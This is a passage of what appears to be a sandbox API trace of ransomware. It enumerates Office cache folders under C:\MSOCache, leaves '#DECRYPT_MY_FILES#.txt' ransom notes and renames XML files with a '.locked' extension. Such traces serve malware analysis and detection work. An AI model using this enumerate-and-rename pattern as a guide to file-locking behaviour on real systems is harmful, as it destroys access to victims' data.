ftLastAccessTime.dwLowDateTime=0xb7175f00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7175f00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2fb, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825850 [0033.736] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xb7175f00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7175f00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2fb, dwReserved1=0x42cd40, cFileName="..", cAlternateFileName="")) returned 1 [0033.737] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7175f00, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb7175f00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb7175f00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x2fb, dwReserved1=0x42cd40, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0033.737] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0033.737] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5cd2aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0033.737] AreFileApisANSI () returned 1 [0033.737] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0033.743] AreFileApisANSI () returned 1 [0033.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0033.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 86 [0033.743] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.locked" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.locked"), dwFlags=0x2) returned 1 [0033.744] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe57f8e0, ftCreationTime.dwHighDateTime=0x1cbe1cb, ftLastAccessTime.dwLowDateTime=0xfe57f8e0, ftLastAccessTime.dwHighDateTime=0x1cbe1cb, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x3, dwReserved1=0x3, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0033.744] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6644b620, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x6644b620, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa81b8770, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x3, dwReserved1=0x3, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0033.744] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8238e540, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x8238e540, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5ddcc70, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x3, dwReserved1=0x3, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0033.744] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bd91af0, ftCreationTime.dwHighDateTime=0x1cb07b2, ftLastAccessTime.dwLowDateTime=0x7bd91af0, ftLastAccessTime.dwHighDateTime=0x1cb07b2, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x3, dwReserved1=0x3, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0033.744] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a2397e0, ftCreationTime.dwHighDateTime=0x1cbe19a, ftLastAccessTime.dwLowDateTime=0x2a2397e0, ftLastAccessTime.dwHighDateTime=0x1cbe19a, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x3, dwReserved1=0x3, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0033.744] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c1614f0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7c1614f0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xa4c400, dwReserved0=0x80d910, dwReserved1=0x42cde0, cFileName="PrjProrWW.msi", cAlternateFileName="PRJPRO~1.MSI")) returned 1 [0033.744] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cabec50, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7cabec50, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x80d910, dwReserved1=0x42cde0, cFileName="PrjProrWW.xml", cAlternateFileName="PRJPRO~1.XML")) returned 1 [0033.744] AreFileApisANSI () returned 1 [0033.744] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0033.753] AreFileApisANSI () returned 1 [0033.753] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0033.753] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0033.753] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.locked" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.locked"), dwFlags=0x2) returned 1 [0033.754] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c87b0c0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x6c87b0c0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa6b67930, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x9b6ba9f, dwReserved0=0x18, dwReserved1=0x3, cFileName="PrjPrrWW.cab", cAlternateFileName="")) returned 1 [0033.754] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69dde270, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x69dde270, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa8191670, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x18, dwReserved1=0x3, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0033.754] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x18, dwReserved1=0x3, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0033.754] AreFileApisANSI () returned 1 [0033.754] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0033.789] AreFileApisANSI () returned 1 [0033.789] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0033.789] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0033.789] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.locked" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.locked"), dwFlags=0x2) returned 1 [0033.790] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x18, dwReserved1=0x3, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0033.790] FindClose (in: hFindFile=0x825850 | out: hFindFile=0x825850) returned 1 [0033.790] FindNextFileA (in: hFindFile=0x825890, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 1 [0033.790] AreFileApisANSI () returned 1 [0033.790] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0033.805] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xb720e480, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb720e480, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825850 [0033.805] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xb720e480, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb720e480, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fb, dwReserved1=0x42cd40, cFileName="..", cAlternateFileName="")) returned 1 [0033.805] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb720e480, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb720e480, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb72345e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x6fb, dwReserved1=0x42cd40, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0033.805] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe5ed9630, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xe5ed9630, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x4655d500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x80d910, dwReserved1=0x42cde0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0033.805] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16771fb0, ftCreationTime.dwHighDateTime=0x1cb12b4, ftLastAccessTime.dwLowDateTime=0x16771fb0, ftLastAccessTime.dwHighDateTime=0x1cb12b4, ftLastWriteTime.dwLowDateTime=0x46536400, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x80d910, dwReserved1=0x42cde0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0033.805] AreFileApisANSI () returned 1 [0033.805] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0033.812] AreFileApisANSI () returned 1 [0033.812] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0033.812] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 86 [0033.812] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.locked" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.locked"), dwFlags=0x2) returned 1 [0033.813] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec54b6b0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xec54b6b0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x4a687710, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x3, dwReserved1=0x3, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0033.813] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde72fbf0, ftCreationTime.dwHighDateTime=0x1cb0d0b, ftLastAccessTime.dwLowDateTime=0xde72fbf0, ftLastAccessTime.dwHighDateTime=0x1cb0d0b, ftLastWriteTime.dwLowDateTime=0x49c902c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x3, dwReserved1=0x3, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0033.813] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc9c380f0, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xc9c380f0, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x465d00f0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x3, dwReserved1=0x3, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0033.813] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7c66670, ftCreationTime.dwHighDateTime=0x1cb0ee5, ftLastAccessTime.dwLowDateTime=0xe7c66670, ftLastAccessTime.dwHighDateTime=0x1cb0ee5, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x3, dwReserved1=0x3, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0033.813] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95261510, ftCreationTime.dwHighDateTime=0x1cb048a, ftLastAccessTime.dwLowDateTime=0x95261510, ftLastAccessTime.dwHighDateTime=0x1cb048a, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x3, dwReserved1=0x3, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0033.813] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb7e7af0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xeb7e7af0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x49c691c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x80d910, dwReserved1=0x42cde0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0033.813] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80aa51d0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80aa51d0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x80d910, dwReserved1=0x42cde0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0033.814] AreFileApisANSI () returned 1 [0033.814] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0033.840] AreFileApisANSI () returned 1 [0033.840] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0033.840] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0033.840] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.locked" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.locked"), dwFlags=0x2) returned 1 [0033.840] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749b0240, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x749b0240, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x46a46a30, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb9fa2f7, dwReserved0=0x3, dwReserved1=0x3, cFileName="VisiorWW.cab", cAlternateFileName="")) returned 1 [0033.840] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80711960, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80711960, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468ee660, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb80800, dwReserved0=0x3, dwReserved1=0x3, cFileName="VisiorWW.msi", cAlternateFileName="")) returned 1 [0033.840] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x3, dwReserved1=0x3, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 1 [0033.841] AreFileApisANSI () returned 1 [0033.841] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0033.859] AreFileApisANSI () returned 1 [0033.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0033.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0033.859] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.locked" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.locked"), dwFlags=0x2) returned 1 [0033.860] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x3, dwReserved1=0x3, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 0 [0033.860] FindClose (in: hFindFile=0x825850 | out: hFindFile=0x825850) returned 1 [0033.860] FindNextFileA (in: hFindFile=0x825890, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 0 [0033.860] FindClose (in: hFindFile=0x825890 | out: hFindFile=0x825890) returned 1 [0033.860] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42e228 | out: 